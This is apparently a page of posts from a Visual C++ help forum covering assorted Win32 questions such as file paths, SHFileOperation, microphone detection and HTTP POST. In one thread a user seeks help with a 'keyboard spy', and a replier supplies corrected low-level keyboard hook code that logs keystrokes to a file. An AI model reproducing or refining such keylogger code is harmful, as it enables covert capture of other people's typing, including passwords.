|
Thanks for downvoting me
mathy wrote: but i want to read the source code through Dll how.
As I already told you in my previous message, it is not possible, even if you don't like it. If you don't have the sources of the dll, you can't modify your dll. It is the same as with an executable, you can't just edit a program like that without having the sources.
|
|
|
|
|
Re: Any way to decompile C++ Exe/DLL of device application
No. You can't turn hamburger back into the cow.
They said it there For more details, see here:
http://www.codeguru.com/forum/showthread.php?t=441352[^]
There is sufficient light for those who desire to see, and there is sufficient darkness for those of a contrary disposition.
Blaise Pascal
|
|
|
|
|
I need to check in Run Time if in current machine that execute my application (exe file) has an active microphone.
How can i do it ?
Thanks
|
|
|
|
|
Yanshof wrote: How can i do it ?
Maybe with another post?
BTW what about a webcam pointing to the microphone plug (you will need also a 'jack detection' software)?
If the Lord God Almighty had consulted me before embarking upon the Creation, I would have recommended something simpler.
-- Alfonso the Wise, 13th Century King of Castile.
This is going on my arrogant assumptions. You may have a superb reason why I'm completely wrong.
-- Iain Clarke
[My articles]
modified on Wednesday, October 22, 2008 9:40 AM
|
|
|
|
|
|
Yanshof wrote: How can i do it ?
Unless you have hardware that has a specific way of
determining this, you can't.
No sound hardware I've ever used was able to detect if a mic
is plugged in or not.
You could iterate through the available audio input devices
and "listen" for background noise or something.
Mark Salsbery
Microsoft MVP - Visual C++
|
|
|
|
|
How come my DELL Inspiron B130 detects device when I plug something in the microphone plug and shows a dialog? And also how come my Skype understands when a microphone is plugged in or out ?
|
|
|
|
|
USB device? If so, USB devices are generally recognized
when they are plugged in.
1/8" mini-plug into a sound card? If so, then unless the
sound hardware has a mechanism to recognize a plugged in microphone
then I stand by my previous reply.
Mark Salsbery
Microsoft MVP - Visual C++
|
|
|
|
|
I need to check in Run Time if in current machine that execute my application (exe file) has an active microphone.
How can i do it ?
Thanks
|
|
|
|
|
Hi
I wrote a program with vc6 which when clicked on a file;
the path of it returns to output,
So I want to do this to return the directory of file,
Does anyone know how can I do that and in which class I could return directory?
Please mail me the answer,
My mail is: mhghaeminia@yahoo.com
Thanks
|
|
|
|
|
Member 4227826 wrote: My mail is:
Nice to know.
Mr.Spammer
If the Lord God Almighty had consulted me before embarking upon the Creation, I would have recommended something simpler.
-- Alfonso the Wise, 13th Century King of Castile.
This is going on my arrogant assumptions. You may have a superb reason why I'm completely wrong.
-- Iain Clarke
[My articles]
|
|
|
|
|
Member 4227826 wrote: So I want to do this to return the directory of file,
Does anyone know how can I do that...
Use PathRemoveFileSpec() .
"Love people and use things, not love things and use people." - Unknown
"The brick walls are there for a reason...to stop the people who don't want it badly enough." - Randy Pausch
|
|
|
|
|
Try
char szCurrentDir[MAX_PATH];
::GetCurrentDirectory(MAX_PATH,szCurrentDir);
|
|
|
|
|
I want to delete some text file from specefied folder at a time. I cannot find error at this code? I have used SHFILEOPSTRUCT. Whats wrong?
SHFILEOPSTRUCT sfo;
sfo.hwnd = NULL;
sfo.wFunc = FO_DELETE;
sfo.pFrom = "C:\\Kapil\\*.*\0";
SHFileOperation(&sfo);
|
|
|
|
|
Try clearing other members of the struct. Either by explicitly setting them or using something like ::memset( &sfo, 0, sizeof( SHFILEOPSTRUCT ) ) .
Peace!
-=- James Please rate this message - let me know if I helped or not!<hr></hr> If you think it costs a lot to do it right, just wait until you find out how much it costs to do it wrong! Remember that Professional Driver on Closed Course does not mean your Dumb Ass on a Public Road! See DeleteFXPFiles
|
|
|
|
|
Sk Mohiuddin wrote: I cannot find error at this code?
How can that be since you are not checking the return value of SHFileOperation() ?
Per MSDN:
pTo - Address of a buffer to contain the name of the destination file or directory. This parameter must be set to NULL if it is not used.
"Love people and use things, not love things and use people." - Unknown
"The brick walls are there for a reason...to stop the people who don't want it badly enough." - Randy Pausch
|
|
|
|
|
Hi all,
Write an hook program that one not allow to create an IE instance. That one may crate but not to populate... Please help me
Regards
vicky00000
|
|
|
|
|
Hello,
I write code for keyboard spy, but every symbol write to file double.
Whats wrong? Help please.
My code
LRESULT CALLBACK HookKeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)
{
char c;
char str[1];
long i;
if(::GetKeyState(VK_DOWN))
{
i=((EVENTMSG*)lParam)->message ;
c=::MapVirtualKey(i,MAPVK_VK_TO_CHAR);
str[0] = c;
FILE* fout = fopen("log.txt", "a+");
if (fout)
{
fwrite(str, 1, 1, fout);
fclose(fout);
}
}
return CallNextHookEx( hHook, nCode, wParam, lParam);
}
hHook = SetWindowsHookEx(13,(HOOKPROC)::HookKeyboardProc,GetModuleHandle(NULL), 0);
|
|
|
|
|
This really is a job for your debugger, but I'll try to help!
First, you set a hook for WH_KEYBOARD_LL (13). If possible, please use the constants - or comment the code at least as to why you didn't.
This hooks WM_KEYUP, and WM_KEYDOWN messages (and a few others).
So, you press down the 'A' key.
A WM_KEYDOWN message is sent.
Your hook gets called. You then call ::GetKeyState(VK_DOWN) . Look at the help, and you see that it returns some complex code telling you about the status of the down arrow key on your keyboard. This is unlikely to be 0, so end up logging the 'A'.
Then you let go of the 'A' key shortly after.
A WM_KEYUP is sent, and it fires your hook.
That also checks the VK_DOWN key, finds some status that isn't 0, and logs the 'A' key again.
If you only want to log when a key is pushed down (my psychic abilities here), then change your hook to...
LRESULT CALLBACK HookKeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)
{
if((wParam == WM_KEYDOWN) || (wParam == WM_SYSKEYDOWN))
{
KBDLLHOOKSTRUCT *kb = (KBDLLHOOKSTRUCT *)lParam;
BYTE byOut = (BYTE) (kb->vkCode);
FILE* fout = fopen("log.txt", "a+");
if (fout)
{
fwrite(&byOut, 1, 1, fout);
fclose(fout);
}
}
return CallNextHookEx( hHook, nCode, wParam, lParam);
}
|
|
|
|
|
Hello! i'm new in this...
i'm using codeblocks ans wxwidgets libraries.
when my application loads a certain URL (i.e. google), it fails to show the jpeg images. Actually, the only format shown is gif.
I already added "void wxInitAllImageHandlers();" and the library "#include " but still jpeg doesn't appear... i don't know what to do!
thanks a lot!!!!
|
|
|
|
|
hii..,
Can anyone please help me in printing a particular page using win32.Like where are we supposed to give input like which page is suppposed to be printed.Pleaseeeee
|
|
|
|
|
Hi,
Hi, I am using this snippet from msdn to upload a file to a web server. But I need to POST some variables at the same time along with their values. But I have no idea how to do it with HttpSendRequestEx
Please help me.
Thanks.
Dhiraj
|
|
|
|
|
Dhiraj kumar Saini wrote: But I need to POST some variables at the same time along with their values
Do you know how to POST variables without the additional file upload requirement? If not you might want to start there.
Then once you understand the basics of HTTP POST this should provide you with the rest[^]
led mike
|
|
|
|
|
Hi All,
How do I convert integer or long to VARIANT* type in C++? Please give me some example..Thanks.
|
|
|
|
|
Why do you would convert a integer to a pointer to VARIANT ?
If the Lord God Almighty had consulted me before embarking upon the Creation, I would have recommended something simpler.
-- Alfonso the Wise, 13th Century King of Castile.
This is going on my arrogant assumptions. You may have a superb reason why I'm completely wrong.
-- Iain Clarke
[My articles]
|
|
|
|